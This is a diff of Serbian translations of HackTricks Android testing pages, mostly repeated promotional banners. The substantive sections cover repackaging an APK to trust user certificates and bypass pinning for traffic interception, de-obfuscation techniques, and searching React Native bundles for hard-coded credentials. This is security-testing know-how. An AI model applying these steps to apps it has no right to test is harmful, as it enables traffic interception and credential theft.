* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,31 +1,33 @@
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}
**Pogledajte: [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
@ -20,19 +21,19 @@ Drugi načini podrške HackTricks-u:
***
Neke aplikacije ne prihvataju preuzete sertifikate, pa kako bismo mogli da inspiciramo web saobraćaj za neke aplikacije, zapravo moramo dekompajlirati aplikaciju i dodati nekoliko stvari i ponovo je kompajlirati.
Neke aplikacije ne vole sertifikate koje je preuzeo korisnik, tako da da bismo pregledali web saobraćaj za neke aplikacije, zapravo moramo dekompilirati aplikaciju, dodati nekoliko stvari i ponovo je kompajlirati.
# Automatski
Alat [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) će **automatski** napraviti neophodne promene na aplikaciji kako bi počeo da hvata zahteve i takođe će onemogućiti pinovanje sertifikata (ako postoji).
Alat [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) će **automatski** napraviti potrebne izmene u aplikaciji kako bi počeo da hvata zahteve i takođe će onemogućiti pinovanje sertifikata (ako ga ima).
# Ručno
Prvo dekompajliramo aplikaciju: `apktool d *ime-fajla*.apk`
Prvo dekompiliramo aplikaciju: `apktool d *file-name*.apk`
![](../../.gitbook/assets/img9.png)
Zatim idemo u **Manifest.xml** fajl i spuštamo se do `<\application android>` oznake i dodajemo sledeću liniju ako već nije tamo:
Zatim idemo u **Manifest.xml** datoteku i skrolujemo do `<\application android>` taga i dodajemo sledeću liniju ako već nije prisutna:
`android:networkSecurityConfig="@xml/network_security_config`
@ -40,11 +41,11 @@ Pre dodavanja:
![](../../.gitbook/assets/img10.png)
Nakon dodavanja:
Posle dodavanja:
![](../../.gitbook/assets/img11.png)
Sada idemo u **res/xml** folder i kreiramo/modifikujemo fajl nazvan network\_security\_config.xml sa sledećim sadržajem:
Sada idite u **res/xml** folder i kreirajte/modifikujte datoteku pod imenom network\_security\_config.xml sa sledećim sadržajem:
```markup
<network-security-config>
<base-config>
@ -57,11 +58,11 @@ Sada idemo u **res/xml** folder i kreiramo/modifikujemo fajl nazvan network\_sec
</base-config>
</network-security-config>
```
Zatim sačuvajte datoteku i izađite iz svih direktorijuma i ponovo izgradite apk pomoću sledeće komande: `apktool b *ime-foldera/* -o *izlazna-datoteka.apk*`
Zatim sačuvajte datoteku i izađite iz svih direktorijuma, a zatim ponovo izgradite apk sa sledećom komandom: `apktool b *folder-name/* -o *output-file.apk*`
![](../../.gitbook/assets/img12.png)
Na kraju, potrebno je samo **potpisati novu aplikaciju**. [Pročitajte ovu sekciju stranice Smali - Dekompiliranje/\[Modifikovanje\]/Kompajliranje da biste saznali kako je potpisati](smali-changes.md#sing-the-new-apk).
Na kraju, samo treba da **potpišete novu aplikaciju**. [Pročitajte ovaj deo stranice Smali - Decompiling/\[Modifying\]/Compiling da biste saznali kako da je potpišete](smali-changes.md#sing-the-new-apk).
<details>
@ -71,14 +72,14 @@ Na kraju, potrebno je samo **potpisati novu aplikaciju**. [Pročitajte ovu sekci
{% embed url="https://discord.gg/tryhardsecurity" %}
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Učite AWS hacking od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
Ostali načini da podržite HackTricks:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ako želite da vidite vašu **kompaniju oglašenu u HackTricks** ili **preuzmete HackTricks u PDF-u**, proverite [**PLANOVE ČLANSTVA**](https://github.com/sponsors/carlospolop)!
* Nabavite [**službeni PEASS & HackTricks merch**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -1,64 +1,66 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Ručne **tehnike deobfuskacije**
## Manual **De-obfuscation Techniques**
U oblasti **softverske bezbednosti**, proces čitanja nejasnog koda, poznat kao **deobfuskacija**, je ključan. Ovaj vodič istražuje različite strategije za deobfuskaciju, fokusirajući se na tehnike statičke analize i prepoznavanje obfuskacijskih obrazaca. Takođe, uvodi vežbu za praktičnu primenu i predlaže dodatne izvore za one koji su zainteresovani za istraživanje naprednih tema.
U oblasti **bezbednosti softvera**, proces pretvaranja zamagljenog koda u razumljiv, poznat kao **de-obfuscation**, je ključan. Ovaj vodič istražuje različite strategije za de-obfuscation, fokusirajući se na tehnike statičke analize i prepoznavanje obrazaca zamagljivanja. Pored toga, uvodi vežbu za praktičnu primenu i predlaže dodatne resurse za one koji su zainteresovani za istraživanje naprednijih tema.
### **Strategije za statičku deobfuskaciju**
### **Strategies for Static De-obfuscation**
Kada se suočavate sa **obfuskiranim kodom**, mogu se primeniti različite strategije u zavisnosti od prirode obfuskacije:
Kada se radi sa **obfuscated code**, može se primeniti nekoliko strategija u zavisnosti od prirode zamagljivanja:
- **DEX bajtkod (Java)**: Jedan efikasan pristup uključuje identifikaciju metoda deobfuskacije aplikacije, a zatim repliciranje ovih metoda u Java fajlu. Taj fajl se izvršava kako bi se obrnula obfuskacija na ciljanim elementima.
- **Java i nativni kod**: Drugi metod je prevođenje algoritma deobfuskacije u skriptni jezik poput Python-a. Ova strategija ističe da je primarni cilj ne potpuno razumevanje algoritma, već efikasno izvršavanje istog.
- **DEX bytecode (Java)**: Jedan efikasan pristup uključuje identifikaciju metoda de-obfuscation aplikacije, a zatim repliciranje ovih metoda u Java datoteci. Ova datoteka se izvršava kako bi se obrnulo zamagljivanje na ciljnim elementima.
- **Java and Native Code**: Druga metoda je prevođenje algoritma de-obfuscation u skriptni jezik poput Pythona. Ova strategija naglašava da primarni cilj nije potpuno razumevanje algoritma, već njegovo efikasno izvršavanje.
### **Prepoznavanje obfuskacije**
### **Identifying Obfuscation**
Prepoznavanje obfuskiranog koda je prvi korak u procesu deobfuskacije. Ključni pokazatelji uključuju:
Prepoznavanje zamagljenog koda je prvi korak u procesu de-obfuscation. Ključni indikatori uključuju:
- **Odsustvo ili premeštanje stringova** u Java-i i Android-u, što može ukazivati na obfuskaciju stringova.
- **Prisustvo binarnih fajlova** u assets direktorijumu ili pozivi `DexClassLoader`-a, što ukazuje na dekompresiju koda i dinamičko učitavanje.
- Korišćenje **nativnih biblioteka zajedno sa neidentifikovanim JNI funkcijama**, što ukazuje na potencijalnu obfuskaciju nativnih metoda.
- **odsustvo ili premeštanje stringova** u Javi i Androidu, što može sugerisati zamagljivanje stringova.
- **prisutnost binarnih datoteka** u direktorijumu resursa ili pozivi na `DexClassLoader`, što ukazuje na raspakivanje koda i dinamičko učitavanje.
- Korišćenje **native biblioteka zajedno sa neidentifikovanim JNI funkcijama**, što ukazuje na potencijalno zamagljivanje native metoda.
## **Dinamička analiza u deobfuskaciji**
## **Dynamic Analysis in De-obfuscation**
Izvršavanjem koda u kontrolisanom okruženju, dinamička analiza **omogućava posmatranje ponašanja obfuskiranog koda u realnom vremenu**. Ova metoda je posebno efikasna u otkrivanju unutrašnjih mehanizama složenih obfuskacijskih obrazaca koji su dizajnirani da sakriju pravi cilj koda.
Izvršavanjem koda u kontrolisanom okruženju, dinamička analiza **omogućava posmatranje kako se zamagljeni kod ponaša u realnom vremenu**. Ova metoda je posebno efikasna u otkrivanju unutrašnjih mehanizama složenih obrazaca zamagljivanja koji su dizajnirani da sakriju pravu nameru koda.
### **Primene dinamičke analize**
### **Applications of Dynamic Analysis**
- **Dekripcija u toku izvršavanja**: Mnoge tehnike obfuskacije uključuju šifrovanje stringova ili delova koda koji se dešifruju samo tokom izvršavanja. Kroz dinamičku analizu, ovi šifrovani elementi mogu biti uhvaćeni u trenutku dešifrovanja, otkrivajući njihov pravi oblik.
- **Prepoznavanje tehnika obfuskacije**: Praćenjem ponašanja aplikacije, dinamička analiza može pomoći u identifikaciji specifičnih tehnika obfuskacije koje se koriste, kao što su virtualizacija koda, paketi ili dinamička generacija koda.
- **Otkrivanje skrivene funkcionalnosti**: Obfuskirani kod može sadržati skrivene funkcionalnosti koje nisu očigledne samo statičkom analizom. Dinamička analiza omogućava posmatranje svih putanja koda, uključujući one koje se uslovno izvršavaju, kako bi se otkrile takve skrivene funkcionalnosti.
- **Runtime Decryption**: Mnoge tehnike zamagljivanja uključuju enkripciju stringova ili kodnih segmenata koji se dekriptuju samo u vreme izvršavanja. Kroz dinamičku analizu, ovi enkriptovani elementi mogu se uhvatiti u trenutku dekripcije, otkrivajući njihov pravi oblik.
- **Identifying Obfuscation Techniques**: Praćenjem ponašanja aplikacije, dinamička analiza može pomoći u identifikaciji specifičnih tehnika zamagljivanja koje se koriste, kao što su virtualizacija koda, pakovanje ili dinamičko generisanje koda.
- **Uncovering Hidden Functionality**: Zamagljeni kod može sadržati skrivene funkcionalnosti koje nisu očigledne samo kroz statičku analizu. Dinamička analiza omogućava posmatranje svih putanja koda, uključujući one koje se izvršavaju uslovno, kako bi se otkrile takve skrivene funkcionalnosti.
## Reference i dalje čitanje
## References and Further Reading
* [https://maddiestone.github.io/AndroidAppRE/obfuscation.html](https://maddiestone.github.io/AndroidAppRE/obfuscation.html)
* BlackHat USA 2018: "Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library" \[[video](https://www.youtube.com/watch?v=s0Tqi7fuOSU)]
* Ova prezentacija se bavi reverznom inženjeringom jedne od najkompleksnijih anti-analitičkih nativnih biblioteka koje sam video da se koriste u Android aplikacijama. Obuhvata uglavnom tehnike obfuskacije u nativnom kodu.
* REcon 2019: "The Path to the Payload: Android Edition" \[[video](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)]
* Ova prezentacija razmatra niz tehnika obfuskacije, isključivo u Java kodu, koje je jedan Android botnet koristio kako bi sakrio svoje ponašanje.
* BlackHat USA 2018: “Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library” \[[video](https://www.youtube.com/watch?v=s0Tqi7fuOSU)]
* Ova prezentacija se bavi obrnuto inženjeringom jedne od najkompleksnijih anti-analitičkih native biblioteka koje sam video da se koriste u Android aplikaciji. Pokriva uglavnom tehnike zamagljivanja u native kodu.
* REcon 2019: “The Path to the Payload: Android Edition” \[[video](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)]
* Ova prezentacija diskutuje o nizu tehnika zamagljivanja, isključivo u Java kodu, koje je Android botnet koristio da sakrije svoje ponašanje.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,62 +1,64 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Analiza React Native aplikacije
# React Native Analiza Aplikacije
Da biste potvrdili da je aplikacija izgrađena na React Native okviru, pratite ove korake:
Da biste potvrdili da li je aplikacija izgrađena na React Native okviru, pratite ove korake:
1. Preimenujte APK datoteku sa ekstenzijom zip i izvucite je u novi folder koristeći komandu `cp com.example.apk example-apk.zip` i `unzip -qq example-apk.zip -d ReactNative`.
1. Preimenujte APK datoteku sa zip ekstenzijom i raspakujte je u novu fasciklu koristeći komandu `cp com.example.apk example-apk.zip` i `unzip -qq example-apk.zip -d ReactNative`.
2. Idite u novo kreirani ReactNative folder i pronađite assets folder. U ovom folderu trebali biste pronaći datoteku `index.android.bundle`, koja sadrži React JavaScript u minifikovanom formatu.
2. Idite u novokreiranu ReactNative fasciklu i pronađite fasciklu assets. Unutar ove fascikle, trebali biste pronaći datoteku `index.android.bundle`, koja sadrži React JavaScript u minifikovanom formatu.
3. Koristite komandu `find . -print | grep -i ".bundle$"` da biste pretražili JavaScript datoteku.
Za dalju analizu JavaScript koda, kreirajte datoteku nazvanu `index.html` u istom direktorijumu sa sledećim kodom:
Da biste dodatno analizirali JavaScript kod, kreirajte datoteku pod nazivom `index.html` u istoj direktoriji sa sledećim kodom:
```html
<script src="./index.android.bundle"></script>
```
Možete otpremiti datoteku na [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/) ili pratite ove korake:
Možete da otpremite datoteku na [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/) ili pratite ove korake:
1. Otvorite `index.html` datoteku u Google Chrome pregledaču.
1. Otvorite `index.html` datoteku u Google Chrome-u.
2. Otvorite Developer Toolbar pritiskom na **Command+Option+J za OS X** ili **Control+Shift+J za Windows**.
3. Kliknite na "Sources" u Developer Toolbar-u. Trebali biste vidjeti JavaScript datoteku koja je podijeljena u mape i datoteke, čineći glavni paket.
3. Kliknite na "Sources" u Developer Toolbar-u. Trebalo bi da vidite JavaScript datoteku koja je podeljena na foldere i datoteke, čineći glavni paket.
Ako pronađete datoteku nazvanu `index.android.bundle.map`, moći ćete analizirati izvorni kod u ne-minificiranom formatu. Map datoteke sadrže mapiranje izvora, što vam omogućava mapiranje minificiranih identifikatora.
Ako pronađete datoteku pod nazivom `index.android.bundle.map`, moći ćete da analizirate izvorni kod u nekompresovanom formatu. Map datoteke sadrže mapiranje izvora, što vam omogućava da mapirate kompresovane identifikatore.
Da biste pretražili osjetljive podatke i krajnje točke, slijedite ove korake:
Da biste pretražili osetljive akreditive i krajnje tačke, pratite ove korake:
1. Identificirajte osjetljive ključne riječi za analizu JavaScript koda. React Native aplikacije često koriste usluge trećih strana poput Firebase-a, AWS S3 usluge, privatnih ključeva, itd.
1. Identifikujte osetljive ključne reči za analizu JavaScript koda. React Native aplikacije često koriste usluge trećih strana kao što su Firebase, AWS S3 krajnje tačke, privatni ključevi itd.
2. U ovom konkretnom slučaju, primijećeno je da aplikacija koristi Dialogflow uslugu. Pretražite uzorak koji je povezan s njegovom konfiguracijom.
2. U ovom specifičnom slučaju, primećeno je da aplikacija koristi Dialogflow uslugu. Pretražujte obrazac povezan sa njenom konfiguracijom.
3. Bilo je sreće da su osjetljivi tvrdokodirani podaci pronađeni u JavaScript kodu tijekom procesa istraživanja.
3. Bilo je sreće što su osetljivi hard-kodirani akreditive pronađeni u JavaScript kodu tokom recon procesa.
## Reference
## References
* [https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakiranje AWS-a od nule do heroja s</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
